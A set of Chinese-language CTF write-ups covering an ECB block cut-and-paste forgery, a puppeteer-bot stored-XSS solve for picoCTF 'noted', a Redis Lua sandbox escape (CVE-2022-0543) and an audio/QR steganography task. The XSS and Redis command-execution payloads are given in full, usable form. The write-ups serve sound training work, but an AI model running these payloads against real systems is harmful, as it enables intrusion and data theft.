SRMr2xR0uuLsQScgoAegYwrQrdxDA2bfJG2zu/f8n1/0lOjp3Dr/NylSajbI9u+p6lZQYpXeLEVisXnuj463nLZp2pD6RKVo7oQHJxSovWA=

把enc转为16进制数并按32一组分隔开:(长度为160)
49132bdb1474bae2ec412720a007a063 0ad0addc430366df246db3bbf7fc9f5f 80f93301e580de7b7a25da8f2a86f5fd ea56506295de2c4562b179ee8f8eb79c a6ba24bc64529f0de806c5301b9a7472

49132bdb1474bae2ec412720a007a063 0ad0addc430366df246db3bbf7fc9f5f b2b5228b3301c1fb7f2e5b43264b8a00 ea56506295de2c4562b179ee8f8eb79c 87f9fbc4785bb9e27d10a62ef20d4a0c

49132bdb1474bae2ec412720a007a063 0ad0addc430366df246db3bbf7fc9f5f f494e8e9dc3aff3729526a36c8f6efa9 ea56506295de2c4562b179ee8f8eb79c b669da90fa44a568ee84072714a8bd60

观察到debug字符串的长度刚好接近enc的十六进制数表示的二分之一,而1个字符占8比特,一个十六进制数能够表示4比特,两个十六进制数就可以表示一个字符。那么160个十六进制数能够表示80个字符,也就是说debug的序列化字符串会被填充到80个,80=16*5,这里猜测分组加密是16个字符(32个十六进制数)一组进行加密的,如果序列化字符串不够16的整数倍的话,则会被填充,至于填充的内容是什么呢那就不得而知了。观察这三个enc的十六进制发现只有第3、5组是不一样的,结合这三个enc所表示的username和money不一样,猜测这两个部分应该就是用户名和当前进度所在的位置,至于分别对应那一个我们可以通过拼接enc然后给向服务器查询来获知。

将第一个enc的第三部分替换成第二个enc的第三部分,然后提交到/lucky.php?action=info进行查询就可获得拼接成的enc所表示的信息,通过返回的debug可以发现第三部分表示的是有关用户名的信息,那第五部分就是表示当前进度的块了。如下所示将debug和enc分别按16和32分组对齐:

image-20220430014635634

可以观察到其实就是直接把debug序列化字符串拿去分组加密了,这样的话,我们可以通过控制发送给/lucky.php?action=start的username来获取到任意块的密文也就是所其实我们是得到了一个加密机。那么接下来就是利用加密机来构造出表示进度为100的密文块,从而拼接得到进度为100的用户enc,从而获取flag。

在返回得debug序列化字符串中,包含的内容分别为用户名username,抽奖次数times,当前进度money,我们需要将money的值替换为100,但是其所在位置并不是完整的一个分组所以会被填充字符,在不知道填充字符是什么的情况下我们并不能够伪造得到相应的密文,比赛的时候也是踩了这个坑,去试了好几个填充都不对。等到后来看大佬的做法才发现,原来可以把money的位置前移,使其不会在最后那么也就不必考虑填充的问题。

如下图所示,控制username长度使得分组便于我们进行操作,把原始序列化对象的money属性前移,随后补上其值,最后再将属性补全,因为times是供客户端判断,修改掉并不会产生影响,这样也就构造出了进度为100的用户序列化对象,接下来就是获取相对于的密文了。

前文提到我们只需要控制username就能够得到对应块的密文,所以我们构造内容为0000000000000";s:5:"money";i:100;s:3:"tim";i:的用户名,这样就可以得到上图两个修改后的蓝色块所对应的密文:

1
2
3
4
5
6
7
8
9
10
O:4:"User":3:{s:	49132bdb1474bae2ec412720a007a063
8:"username";s:4 15f621f17ab386f772f62c463899dedd
5:"0000000000000 506ffa9bb6c9e6203423f7dff0acb353

";s:5:"money";i: 1d56d601aaa47d48b75190a7495101c2
100;s:3:"tim";i: db9942cb8f914708c6c3265bd825b812

";s:5:"times";i: ab18b48b4d2709573c5f69fdd22e053c
0;s:5:"money";i: a06e52b7688f7cf039c751ff8b5c30c5
63;} fe58b84deeb172bbc47e811c80434ac4

再将其替换掉原有的密文相应的部分:

1
2
3
4
5
6
O:4:"User":3:{s:	49132bdb1474bae2ec412720a007a063
8:"username";s:1 0973f6da1decade02d33d372a3869726
3:"1230000000000 b01de36b0bca82112784705763ee8073
";s:5:"times";i: ab18b48b4d2709573c5f69fdd22e053c ==> ";s:5:"money";i: 1d56d601aaa47d48b75190a7495101c2
0;s:5:"money";i: a06e52b7688f7cf039c751ff8b5c30c5 ==> 100;s:3:"tim";i: db9942cb8f914708c6c3265bd825b812
68;} ee6c3c234980cf4a510ee40f34ca4a14

即可得到我们想要的密文:

1
2
3
4
5
6
O:4:"User":3:{s:	49132bdb1474bae2ec412720a007a063
8:"username";s:1 0973f6da1decade02d33d372a3869726
3:"1230000000000 b01de36b0bca82112784705763ee8073
";s:5:"money";i: 1d56d601aaa47d48b75190a7495101c2
100;s:3:"tim";i: db9942cb8f914708c6c3265bd825b812
68;} ee6c3c234980cf4a510ee40f34ca4a14

将十六进制表示转为base64:

1
enc=SRMr2xR0uuLsQScgoAegYwlz9tod7K3gLTPTcqOGlyawHeNrC8qCESeEcFdj7oBzHVbWAaqkfUi3UZCnSVEBwtuZQsuPkUcIxsMmW9gluBLubDwjSYDPSlEO5A80ykoU

发送给/lucky.php?action=getFlag即可得到flag:

1
{"code":"200","flag":"MRCTF{Xi_Xi0ngDi_9_Na_Kan_w0!}"}

picoCTF-2022-复盘

WEB

noted

​ 题目给的是一个备忘录网站,创建用户后即可创建备忘录条目,同时还实现了一个bot,即用户提交网站后会被服务器端用chrome打开并访问。可以注意到,每一次在/repot提交url时,服务器都会先随机注册一个账号然后提交flag到备忘录,随后再访问用户提交的url。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
let page = (await browser.pages())[0]

await page.goto('http://0.0.0.0:8080/register');
await page.type('[name="username"]', crypto.randomBytes(8).toString('hex'));
await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('http://0.0.0.0:8080/new');
await page.type('[name="title"]', 'flag');
await page.type('[name="content"]', process.env.FLAG ?? 'ctf{flag}');

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('about:blank')
await page.goto(url);
await page.waitForTimeout(7500);

await browser.close();

这里的bot是基于puppeteer实现的,页面访问使用的是page.gotopage.goto(url[, options])这个方法不仅可以直接类似于http://这类链接,而且还可以使用伪协议,类似于page.goto(data:text/html,自定义内容),那么我们就可以在这里动手,直接让服务器把flag发送到我们自己的vps是。但是,答案是否定的,因为服务器端的账户并不能访问外网,这个方法是行不通的。

​ 我们继续看一下views文件夹下的.ejs模板文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>noted | my notes</title>
<%- include('style') %>
</head>
<body>
<h1>My Notes</h1>
<hr>
<% for (let note of notes) { %>
<div>
<h2><%- note.title %></h2>
<p><%- note.content %></p>
<form action="/delete" method="POST">
<input type="hidden" name="_csrf" value="<%- csrf %>">
<input type="hidden" name="id" value="<%- note.id %>">
<input type="submit" value="Delete">
</form>
</div>
<hr>
<% } %>
<br>
<a href='/new'>New Note</a> | <a href='/report'>Report</a>
</body>
</html>

模板中note.title和note.content都是直接填充,也就是说这里是存在存储型xss的。所以就可以让服务器登录我们已知密码的账号,然后将flag提交到已知密码账号的备忘录中,随后我们登录该账号即可获取到flag。攻击流程如下图:

首先现在/register页面注册账户:账号为a密码为a,然后提交以下self-XSS内容到/new页面

1
2
3
4
5
6
7
8
9
10
<iframe src="http://0.0.0.0:8080/new" id=ifra></iframe>
<script>
var flag = window.opener.document.body.textContent;
ifra.onload = () => {
ifra.onload = null;
ifra.contentDocument.forms[0].title.value = 'flag';
ifra.contentDocument.forms[0].content.value = flag;
ifra.contentDocument.forms[0].submit();
}
</script>

接着提交如下内容到/report

1
2
3
4
5
6
7
8
data:text/html,
<script>
window.location = "http://0.0.0.0:8080/notes";
a = window.open('', '');
a.document.body.innerHTML = `<form action="http://0.0.0.0:8080/login" method="post" name=xp id=xp target="_blank"><input type="text" name="username" value="a"><input type="text" name="password" value="a"></form>`;
a.document.xp.submit();
a.location.href = "http://0.0.0.0:8080/notes";
</script>

提交后等待几秒后再次访问已知密码的账户的/notes页面即可获取到flag

虎符CTF2022 WP Quest-RCE

Misc

Quest-RCE

查看题目并进行搜索发现这是Redis 沙盒逃逸漏洞,CVE-2022-0543。

参考:https://www.adminxe.com/3620.html,利用package提供的方法加载动态链库的函数,进行任意命令执行。

payload如下:

1
{"query":"SET \"dir\" \"/var/www/uploads/\" \n eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /flag_UVEmnDKY4VHyUVRVj46ZeojgfZpxzG\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0"}

flag: HFCTF{34da8018-8720-42a0-95db-773a452ff1ee}

AntCTF & Dˆ3CTF-2022-复盘

MISC

Badw3ter

下载下来得到的是一个损坏了头部的wav文件,尝试进行修复:

根据题目描述,联想到Deepsound(https://deepsound.soft112.com/)这个信息隐藏工具,由于提取文件需要工具,而在最开始给的文件头部被修改的部分是明文,将其拼接起来 :CUY1nw31lai ,用于文件提取:

得到一个png图片,但是打不开,winhex打开查看文件头为:49492A00

(可用在线网站查询https://www.tooleyes.com/app/file_signature.html)

将文件后缀改为tiff后即可打开,但是二维码扫描后发现并不是。仔细看可以看到二维码并不是黑白二值图,在ps中打开,查看曲线图:

可以看到,灰度图存在三种颜色,分别为黑色、灰色和白色,既然黑白不是不行,那能不能试试灰黑呢(黑色模式),可以将背景板曝光度调到最低让它变成黑色或者直接加一个黑色的背景板:

然后识别二维码,就得到了flag。